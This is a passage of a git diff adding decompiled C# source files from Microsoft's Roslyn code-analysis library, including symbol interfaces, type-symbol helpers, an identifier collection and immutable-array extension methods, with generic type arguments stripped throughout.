Microsoft.CodeAnalysis; + +public interface IStructuredTriviaSyntax +{ + SyntaxTrivia ParentTrivia { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISymbol.cs new file mode 100644 index 0000000..684ae80 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISymbol.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +[InternalImplementationOnly] +public interface ISymbol : IEquatable +{ + SymbolKind Kind { get; } + + string Language { get; } + + string Name { get; } + + string MetadataName { get; } + + int MetadataToken { get; } + + ISymbol ContainingSymbol { get; } + + IAssemblySymbol ContainingAssembly { get; } + + IModuleSymbol ContainingModule { get; } + + INamedTypeSymbol ContainingType { get; } + + INamespaceSymbol ContainingNamespace { get; } + + bool IsDefinition { get; } + + bool IsStatic { get; } + + bool IsVirtual { get; } + + bool IsOverride { get; } + + bool IsAbstract { get; } + + bool IsSealed { get; } + + bool IsExtern { get; } + + bool IsImplicitlyDeclared { get; } + + bool CanBeReferencedByName { get; } + + ImmutableArray Locations { get; } + + ImmutableArray DeclaringSyntaxReferences { get; } + + Accessibility DeclaredAccessibility { get; } + + ISymbol OriginalDefinition { get; } + + bool HasUnsupportedMetadata { get; } + + ImmutableArray GetAttributes(); + + void Accept(SymbolVisitor visitor); + + TResult? Accept(SymbolVisitor visitor); + + TResult Accept(SymbolVisitor visitor, TArgument argument); + + string? GetDocumentationCommentId(); + + string? GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)); + + string ToDisplayString(SymbolDisplayFormat? format = null); + + ImmutableArray ToDisplayParts(SymbolDisplayFormat? format = null); + + string ToMinimalDisplayString(SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null); + + ImmutableArray ToMinimalDisplayParts(SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null); + + bool Equals([NotNullWhen(true)] ISymbol? other, SymbolEqualityComparer equalityComparer); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISymbolExtensions.cs new file mode 100644 index 0000000..27a111e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISymbolExtensions.cs @@ -0,0 +1,112 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Collections; + +namespace Microsoft.CodeAnalysis; + +public static class ISymbolExtensions +{ + public static IMethodSymbol? GetConstructedReducedFrom(this IMethodSymbol method) + { + if (method.MethodKind != MethodKind.ReducedExtension) + { + return null; + } + IMethodSymbol reducedFrom = method.ReducedFrom; + if (!reducedFrom.IsGenericMethod) + { + return reducedFrom; + } + ITypeSymbol[] array = new ITypeSymbol[reducedFrom.TypeParameters.Length]; + int i = 0; + for (int length = method.TypeParameters.Length; i < length; i++) + { + ITypeSymbol typeSymbol = method.TypeArguments[i]; + ITypeParameterSymbol typeParameterSymbol = method.TypeParameters[i]; + if (typeSymbol.Equals(typeParameterSymbol)) + { + typeSymbol = typeParameterSymbol.ReducedFrom; + } + array[typeParameterSymbol.ReducedFrom.Ordinal] = typeSymbol; + } + int j = 0; + for (int length2 = reducedFrom.TypeParameters.Length; j < length2; j++) + { + ITypeSymbol typeInferredDuringReduction = method.GetTypeInferredDuringReduction(reducedFrom.TypeParameters[j]); + if (typeInferredDuringReduction != null) + { + array[j] = typeInferredDuringReduction; + } + } + return reducedFrom.Construct(array); + } + + internal static bool IsDefaultTupleElement(this IFieldSymbol field) + { + return field == field.CorrespondingTupleField; + } + + internal static bool IsTupleElement(this IFieldSymbol field) + { + return field.CorrespondingTupleField != null; + } + + internal static string? ProvidedTupleElementNameOrNull(this IFieldSymbol field) + { + if (!field.IsTupleElement() || field.IsImplicitlyDeclared) + { + return null; + } + return field.Name; + } + + internal static INamespaceSymbol? GetNestedNamespace(this INamespaceSymbol container, string name) + { + foreach (INamespaceOrTypeSymbol member in container.GetMembers(name)) + { + if (member.Kind == SymbolKind.Namespace) + { + return (INamespaceSymbol)member; + } + } + return null; + } + + internal static bool IsNetModule(this IAssemblySymbol assembly) + { + if (assembly is ISourceAssemblySymbol sourceAssemblySymbol) + { + return sourceAssemblySymbol.Compilation.Options.OutputKind.IsNetModule(); + } + return false; + } + + internal static bool IsInSource(this ISymbol symbol) + { + ImmutableArray.Enumerator enumerator = symbol.Locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsInSource) + { + return true; + } + } + return false; + } + + internal static IVTConclusion PerformIVTCheck(this AssemblyIdentity assemblyGrantingAccessIdentity, ImmutableArray assemblyWantingAccessKey, ImmutableArray grantedToPublicKey) + { + bool isStrongName = assemblyGrantingAccessIdentity.IsStrongName; + bool num = !grantedToPublicKey.IsDefaultOrEmpty; + bool flag = !assemblyWantingAccessKey.IsDefaultOrEmpty; + bool flag2 = num && flag && ByteSequenceComparer.Equals(grantedToPublicKey, assemblyWantingAccessKey); + if (num && !flag2) + { + return IVTConclusion.PublicKeyDoesntMatch; + } + if (!isStrongName && flag) + { + return IVTConclusion.OneSignedOneNot; + } + return IVTConclusion.Match; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxContextReceiver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxContextReceiver.cs new file mode 100644 index 0000000..09a47cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxContextReceiver.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +public interface ISyntaxContextReceiver +{ + void OnVisitSyntaxNode(GeneratorSyntaxContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxHelper.cs new file mode 100644 index 0000000..68ffc5c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxHelper.cs @@ -0,0 +1,34 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal interface ISyntaxHelper +{ + bool IsCaseSensitive { get; } + + bool IsValidIdentifier(string name); + + bool IsAnyNamespaceBlock(SyntaxNode node); + + bool IsAttributeList(SyntaxNode node); + + SeparatedSyntaxList GetAttributesOfAttributeList(SyntaxNode node); + + void AddAttributeTargets(SyntaxNode node, ArrayBuilder targets); + + bool IsAttribute(SyntaxNode node); + + SyntaxNode GetNameOfAttribute(SyntaxNode node); + + bool IsLambdaExpression(SyntaxNode node); + + string GetUnqualifiedIdentifierOfName(SyntaxNode node); + + void AddAliases(GreenNode node, ArrayBuilder<(string aliasName, string symbolName)> aliases, bool global); + + void AddAliases(CompilationOptions options, ArrayBuilder<(string aliasName, string symbolName)> aliases); + + bool ContainsAttributeList(SyntaxNode root); + + bool ContainsGlobalAliases(SyntaxNode root); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxInputBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxInputBuilder.cs new file mode 100644 index 0000000..687cfb4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxInputBuilder.cs @@ -0,0 +1,11 @@ +using System; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal interface ISyntaxInputBuilder +{ + void VisitTree(Lazy root, EntryState state, Lazy? model, CancellationToken cancellationToken); + + void SaveStateAndFree(StateTableStore.Builder tableStoreBuilder); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxReceiver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxReceiver.cs new file mode 100644 index 0000000..aa4065d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxReceiver.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +public interface ISyntaxReceiver +{ + void OnVisitSyntaxNode(SyntaxNode syntaxNode); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxSelectionStrategy.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxSelectionStrategy.cs new file mode 100644 index 0000000..2de53df --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISyntaxSelectionStrategy.cs @@ -0,0 +1,8 @@ +using System.Collections.Generic; + +namespace Microsoft.CodeAnalysis; + +internal interface ISyntaxSelectionStrategy +{ + ISyntaxInputBuilder GetBuilder(StateTableStore tableStore, object key, bool trackIncrementalSteps, string? name, IEqualityComparer comparer); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeParameterSymbol.cs new file mode 100644 index 0000000..d6a8472 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeParameterSymbol.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface ITypeParameterSymbol : ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + int Ordinal { get; } + + VarianceKind Variance { get; } + + TypeParameterKind TypeParameterKind { get; } + + IMethodSymbol? DeclaringMethod { get; } + + INamedTypeSymbol? DeclaringType { get; } + + bool HasReferenceTypeConstraint { get; } + + NullableAnnotation ReferenceTypeConstraintNullableAnnotation { get; } + + bool HasValueTypeConstraint { get; } + + bool HasUnmanagedTypeConstraint { get; } + + bool HasNotNullConstraint { get; } + + bool HasConstructorConstraint { get; } + + ImmutableArray ConstraintTypes { get; } + + ImmutableArray ConstraintNullableAnnotations { get; } + + new ITypeParameterSymbol OriginalDefinition { get; } + + ITypeParameterSymbol? ReducedFrom { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeSymbol.cs new file mode 100644 index 0000000..e9ef159 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeSymbol.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface ITypeSymbol : INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + TypeKind TypeKind { get; } + + INamedTypeSymbol? BaseType { get; } + + ImmutableArray Interfaces { get; } + + ImmutableArray AllInterfaces { get; } + + bool IsReferenceType { get; } + + bool IsValueType { get; } + + bool IsAnonymousType { get; } + + bool IsTupleType { get; } + + bool IsNativeIntegerType { get; } + + new ITypeSymbol OriginalDefinition { get; } + + SpecialType SpecialType { get; } + + bool IsRefLikeType { get; } + + bool IsUnmanagedType { get; } + + bool IsReadOnly { get; } + + bool IsRecord { get; } + + NullableAnnotation NullableAnnotation { get; } + + ISymbol? FindImplementationForInterfaceMember(ISymbol interfaceMember); + + string ToDisplayString(NullableFlowState topLevelNullability, SymbolDisplayFormat? format = null); + + ImmutableArray ToDisplayParts(NullableFlowState topLevelNullability, SymbolDisplayFormat? format = null); + + string ToMinimalDisplayString(SemanticModel semanticModel, NullableFlowState topLevelNullability, int position, SymbolDisplayFormat? format = null); + + ImmutableArray ToMinimalDisplayParts(SemanticModel semanticModel, NullableFlowState topLevelNullability, int position, SymbolDisplayFormat? format = null); + + ITypeSymbol WithNullableAnnotation(NullableAnnotation nullableAnnotation); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeSymbolHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeSymbolHelpers.cs new file mode 100644 index 0000000..a092d65 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ITypeSymbolHelpers.cs @@ -0,0 +1,82 @@ +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal static class ITypeSymbolHelpers +{ + internal static bool IsNullableType([NotNullWhen(true)] ITypeSymbol? typeOpt) + { + if (typeOpt == null) + { + return false; + } + return typeOpt.OriginalDefinition.SpecialType == SpecialType.System_Nullable_T; + } + + internal static bool IsNullableOfBoolean([NotNullWhen(true)] ITypeSymbol? type) + { + if (IsNullableType(type)) + { + return IsBooleanType(GetNullableUnderlyingType(type)); + } + return false; + } + + internal static ITypeSymbol GetNullableUnderlyingType(ITypeSymbol type) + { + return ((INamedTypeSymbol)type).TypeArguments[0]; + } + + internal static bool IsBooleanType([NotNullWhen(true)] ITypeSymbol? type) + { + if (type == null) + { + return false; + } + return type.SpecialType == SpecialType.System_Boolean; + } + + internal static bool IsObjectType([NotNullWhen(true)] ITypeSymbol? type) + { + if (type == null) + { + return false; + } + return type.SpecialType == SpecialType.System_Object; + } + + internal static bool IsSignedIntegralType([NotNullWhen(true)] ITypeSymbol? type) + { + return type?.SpecialType.IsSignedIntegralType() ?? false; + } + + internal static bool IsUnsignedIntegralType([NotNullWhen(true)] ITypeSymbol? type) + { + return type?.SpecialType.IsUnsignedIntegralType() ?? false; + } + + internal static bool IsNumericType([NotNullWhen(true)] ITypeSymbol? type) + { + return type?.SpecialType.IsNumericType() ?? false; + } + + internal static ITypeSymbol? GetEnumUnderlyingType(ITypeSymbol? type) + { + return (type as INamedTypeSymbol)?.EnumUnderlyingType; + } + + [return: NotNullIfNotNull("type")] + internal static ITypeSymbol? GetEnumUnderlyingTypeOrSelf(ITypeSymbol? type) + { + return GetEnumUnderlyingType(type) ?? type; + } + + internal static bool IsDynamicType([NotNullWhen(true)] ITypeSymbol? type) + { + if (type == null) + { + return false; + } + return type.Kind == SymbolKind.DynamicType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IVTConclusion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IVTConclusion.cs new file mode 100644 index 0000000..1d5a90d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IVTConclusion.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis; + +internal enum IVTConclusion +{ + Match, + OneSignedOneNot, + PublicKeyDoesntMatch, + NoRelationshipClaimed +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IdentifierCollection.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IdentifierCollection.cs new file mode 100644 index 0000000..9a4c739 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IdentifierCollection.cs @@ -0,0 +1,199 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; + +namespace Microsoft.CodeAnalysis; + +internal class IdentifierCollection +{ + private abstract class CollectionBase : ICollection, IEnumerable, IEnumerable + { + protected readonly IdentifierCollection IdentifierCollection; + + private int _count = -1; + + public int Count + { + get + { + if (_count == -1) + { + _count = IdentifierCollection._map.Values.Sum((object o) => (o is string) ? 1 : ((ISet)o).Count); + } + return _count; + } + } + + public bool IsReadOnly => true; + + protected CollectionBase(IdentifierCollection identifierCollection) + { + IdentifierCollection = identifierCollection; + } + + public abstract bool Contains(string item); + + public void CopyTo(string[] array, int arrayIndex) + { + using IEnumerator enumerator = GetEnumerator(); + while (arrayIndex < array.Length && enumerator.MoveNext()) + { + array[arrayIndex] = enumerator.Current; + arrayIndex++; + } + } + + public IEnumerator GetEnumerator() + { + foreach (object value in IdentifierCollection._map.Values) + { + if (value is HashSet hashSet) + { + foreach (string item in hashSet) + { + yield return item; + } + } + else + { + yield return (string)value; + } + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public void Add(string item) + { + throw new NotSupportedException(); + } + + public void Clear() + { + throw new NotSupportedException(); + } + + public bool Remove(string item) + { + throw new NotSupportedException(); + } + } + + private sealed class CaseSensitiveCollection : CollectionBase + { + public CaseSensitiveCollection(IdentifierCollection identifierCollection) + : base(identifierCollection) + { + } + + public override bool Contains(string item) + { + return IdentifierCollection.CaseSensitiveContains(item); + } + } + + private sealed class CaseInsensitiveCollection : CollectionBase + { + public CaseInsensitiveCollection(IdentifierCollection identifierCollection) + : base(identifierCollection) + { + } + + public override bool Contains(string item) + { + return IdentifierCollection.CaseInsensitiveContains(item); + } + } + + private readonly Dictionary _map = new Dictionary(StringComparer.OrdinalIgnoreCase); + + public IdentifierCollection() + { + } + + public IdentifierCollection(IEnumerable identifiers) + { + AddIdentifiers(identifiers); + } + + public void AddIdentifiers(IEnumerable identifiers) + { + foreach (string identifier in identifiers) + { + AddIdentifier(identifier); + } + } + + public void AddIdentifier(string identifier) + { + if (!_map.TryGetValue(identifier, out object value)) + { + AddInitialSpelling(identifier); + } + else + { + AddAdditionalSpelling(identifier, value); + } + } + + private void AddAdditionalSpelling(string identifier, object value) + { + if (value is string text) + { + if (!string.Equals(identifier, text, StringComparison.Ordinal)) + { + _map[identifier] = new HashSet { identifier, text }; + } + } + else + { + ((HashSet)value).Add(identifier); + } + } + + private void AddInitialSpelling(string identifier) + { + _map.Add(identifier, identifier); + } + + public bool ContainsIdentifier(string identifier, bool caseSensitive) + { + if (caseSensitive) + { + return CaseSensitiveContains(identifier); + } + return CaseInsensitiveContains(identifier); + } + + private bool CaseInsensitiveContains(string identifier) + { + return _map.ContainsKey(identifier); + } + + private bool CaseSensitiveContains(string identifier) + { + if (_map.TryGetValue(identifier, out object value)) + { + if (value is string b) + { + return string.Equals(identifier, b, StringComparison.Ordinal); + } + return ((HashSet)value).Contains(identifier); + } + return false; + } + + public ICollection AsCaseSensitiveCollection() + { + return new CaseSensitiveCollection(this); + } + + public ICollection AsCaseInsensitiveCollection() + { + return new CaseInsensitiveCollection(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableArrayExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableArrayExtensions.cs new file mode 100644 index 0000000..8e010ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ImmutableArrayExtensions.cs @@ -0,0 +1,837 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Runtime.CompilerServices; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class ImmutableArrayExtensions +{ + public static ImmutableArray AsImmutable(this IEnumerable items) + { + return ImmutableArray.CreateRange(items); + } + + public static ImmutableArray AsImmutableOrEmpty(this IEnumerable? items) + { + if (items == null) + { + return ImmutableArray.Empty; + } + return ImmutableArray.CreateRange(items); + } + + public static ImmutableArray AsImmutableOrNull(this IEnumerable? items) + { + if (items == null) + { + return default(ImmutableArray); + } + return ImmutableArray.CreateRange(items); + } + + public static ImmutableArray AsImmutable(this T[] items) + { + return ImmutableArray.Create(items); + } + + public static ImmutableArray AsImmutableOrNull(this T[]? items) + { + if (items == null) + { + return default(ImmutableArray); + } + return ImmutableArray.Create(items); + } + + public static ImmutableArray AsImmutableOrEmpty(this T[]? items) + { + if (items == null) + { + return ImmutableArray.Empty; + } + return ImmutableArray.Create(items); + } + + public static ImmutableArray ToImmutable(this MemoryStream stream) + { + return ImmutableArray.Create(stream.ToArray()); + } + + public static ImmutableArray SelectAsArray(this ImmutableArray items, Func map) + { + return ImmutableArray.CreateRange(items, map); + } + + public static ImmutableArray SelectAsArray(this ImmutableArray items, Func map, TArg arg) + { + return ImmutableArray.CreateRange(items, map, arg); + } + + public static ImmutableArray SelectAsArray(this ImmutableArray items, Func map, TArg arg) + { + switch (items.Length) + { + case 0: + return ImmutableArray.Empty; + case 1: + return ImmutableArray.Create(map(items[0], 0, arg)); + case 2: + return ImmutableArray.Create(map(items[0], 0, arg), map(items[1], 1, arg)); + case 3: + return ImmutableArray.Create(map(items[0], 0, arg), map(items[1], 1, arg), map(items[2], 2, arg)); + case 4: + return ImmutableArray.Create(map(items[0], 0, arg), map(items[1], 1, arg), map(items[2], 2, arg), map(items[3], 3, arg)); + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(items.Length); + for (int i = 0; i < items.Length; i++) + { + instance.Add(map(items[i], i, arg)); + } + return instance.ToImmutableAndFree(); + } + } + } + + public static ImmutableArray SelectAsArray(this ImmutableArray array, Func predicate, Func selector) + { + if (array.Length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + if (predicate(current)) + { + instance.Add(selector(current)); + } + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray SelectAsArray(this ImmutableArray array, Func predicate, Func selector, TArg arg) + { + if (array.Length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + if (predicate(current, arg)) + { + instance.Add(selector(current, arg)); + } + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray SelectManyAsArray(this ImmutableArray array, Func> selector) + { + if (array.Length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + instance.AddRange(selector(current)); + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray SelectManyAsArray(this ImmutableArray array, Func predicate, Func> selector) + { + if (array.Length == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + if (predicate(current)) + { + instance.AddRange(selector(current)); + } + } + return instance.ToImmutableAndFree(); + } + + public static async ValueTask> SelectAsArrayAsync(this ImmutableArray array, Func> selector, CancellationToken cancellationToken) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(array.Length); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + ArrayBuilder arrayBuilder = builder; + arrayBuilder.Add(await selector(current, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + + public static async ValueTask> SelectAsArrayAsync(this ImmutableArray array, Func> selector, TArg arg, CancellationToken cancellationToken) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(array.Length); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + ArrayBuilder arrayBuilder = builder; + arrayBuilder.Add(await selector(current, arg, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + + public static ValueTask> SelectManyAsArrayAsync(this ImmutableArray source, Func>> selector, TArg arg, CancellationToken cancellationToken) + { + if (source.Length == 0) + { + return new ValueTask>(ImmutableArray.Empty); + } + if (source.Length == 1) + { + return selector(source[0], arg, cancellationToken); + } + return CreateTask(); + async ValueTask> CreateTask() + { + ArrayBuilder builder = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = source.GetEnumerator(); + while (enumerator.MoveNext()) + { + TItem current = enumerator.Current; + ArrayBuilder arrayBuilder = builder; + arrayBuilder.AddRange(await selector(current, arg, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + } + + public static ImmutableArray ZipAsArray(this ImmutableArray self, ImmutableArray other, Func map) + { + switch (self.Length) + { + case 0: + return ImmutableArray.Empty; + case 1: + return ImmutableArray.Create(map(self[0], other[0])); + case 2: + return ImmutableArray.Create(map(self[0], other[0]), map(self[1], other[1])); + case 3: + return ImmutableArray.Create(map(self[0], other[0]), map(self[1], other[1]), map(self[2], other[2])); + case 4: + return ImmutableArray.Create(map(self[0], other[0]), map(self[1], other[1]), map(self[2], other[2]), map(self[3], other[3])); + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(self.Length); + for (int i = 0; i < self.Length; i++) + { + instance.Add(map(self[i], other[i])); + } + return instance.ToImmutableAndFree(); + } + } + } + + public static ImmutableArray ZipAsArray(this ImmutableArray self, ImmutableArray other, TArg arg, Func map) + { + if (self.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(self.Length); + for (int i = 0; i < self.Length; i++) + { + instance.Add(map(self[i], other[i], i, arg)); + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray WhereAsArray(this ImmutableArray array, Func predicate) + { + return WhereAsArrayImpl(array, predicate, null, null); + } + + public static ImmutableArray WhereAsArray(this ImmutableArray array, Func predicate, TArg arg) + { + return WhereAsArrayImpl(array, null, predicate, arg); + } + + private static ImmutableArray WhereAsArrayImpl(ImmutableArray array, Func? predicateWithoutArg, Func? predicateWithArg, TArg arg) + { + ArrayBuilder arrayBuilder = null; + bool flag = true; + bool flag2 = true; + int length = array.Length; + for (int i = 0; i < length; i++) + { + T val = array[i]; + if (predicateWithoutArg?.Invoke(val) ?? predicateWithArg(val, arg)) + { + flag = false; + if (!flag2) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(); + } + arrayBuilder.Add(val); + } + } + else if (flag) + { + flag2 = false; + } + else if (flag2) + { + flag2 = false; + arrayBuilder = ArrayBuilder.GetInstance(); + for (int j = 0; j < i; j++) + { + arrayBuilder.Add(array[j]); + } + } + } + if (arrayBuilder != null) + { + return arrayBuilder.ToImmutableAndFree(); + } + if (flag2) + { + return array; + } + return ImmutableArray.Empty; + } + + public static bool Any(this ImmutableArray array, Func predicate, TArg arg) + { + int length = array.Length; + for (int i = 0; i < length; i++) + { + T arg2 = array[i]; + if (predicate(arg2, arg)) + { + return true; + } + } + return false; + } + + public static bool All(this ImmutableArray array, Func predicate, TArg arg) + { + int length = array.Length; + for (int i = 0; i < length; i++) + { + T arg2 = array[i]; + if (!predicate(arg2, arg)) + { + return false; + } + } + return true; + } + + public static async Task AnyAsync(this ImmutableArray array, Func> predicateAsync) + { + int n = array.Length; + for (int i = 0; i < n; i++) + { + T arg = array[i]; + if (await predicateAsync(arg).ConfigureAwait(continueOnCapturedContext: false)) + { + return true; + } + } + return false; + } + + public static async Task AnyAsync(this ImmutableArray array, Func> predicateAsync, TArg arg) + { + int n = array.Length; + for (int i = 0; i < n; i++) + { + T arg2 = array[i]; + if (await predicateAsync(arg2, arg).ConfigureAwait(continueOnCapturedContext: false)) + { + return true; + } + } + return false; + } + + public static async ValueTask FirstOrDefaultAsync(this ImmutableArray array, Func> predicateAsync) + { + int n = array.Length; + for (int i = 0; i < n; i++) + { + T a = array[i]; + if (await predicateAsync(a).ConfigureAwait(continueOnCapturedContext: false)) + { + return a; + } + } + return default(T); + } + + public static TValue? FirstOrDefault(this ImmutableArray array, Func predicate, TArg arg) + { + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + TValue current = enumerator.Current; + if (predicate(current, arg)) + { + return current; + } + } + return default(TValue); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static ImmutableArray Cast(this ImmutableArray items) where TDerived : class, TBase + { + return ImmutableArray.CastUp(items); + } + + public static bool SetEquals(this ImmutableArray array1, ImmutableArray array2, IEqualityComparer comparer) + { + if (array1.IsDefault) + { + return array2.IsDefault; + } + if (array2.IsDefault) + { + return false; + } + int length = array1.Length; + int length2 = array2.Length; + if (length == 0) + { + return length2 == 0; + } + if (length2 == 0) + { + return false; + } + if (length == 1 && length2 == 1) + { + T x = array1[0]; + T y = array2[0]; + return comparer.Equals(x, y); + } + HashSet hashSet = new HashSet(array1, comparer); + HashSet hashSet2 = new HashSet(array2, comparer); + return hashSet.SetEquals(hashSet2); + } + + public static ImmutableArray NullToEmpty(this ImmutableArray array) + { + if (!array.IsDefault) + { + return array; + } + return ImmutableArray.Empty; + } + + public static ImmutableArray NullToEmpty(this ImmutableArray? array) + { + if (array.HasValue) + { + ImmutableArray valueOrDefault = array.GetValueOrDefault(); + if (!valueOrDefault.IsDefault) + { + return valueOrDefault; + } + } + return ImmutableArray.Empty; + } + + public static ImmutableArray Distinct(this ImmutableArray array, IEqualityComparer? comparer = null) + { + if (array.Length < 2) + { + return array; + } + HashSet hashSet = new HashSet(comparer); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = array.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (hashSet.Add(current)) + { + instance.Add(current); + } + } + object result = ((instance.Count == array.Length) ? ((object)array) : ((object)instance.ToImmutable())); + instance.Free(); + return (ImmutableArray)result; + } + + internal static bool 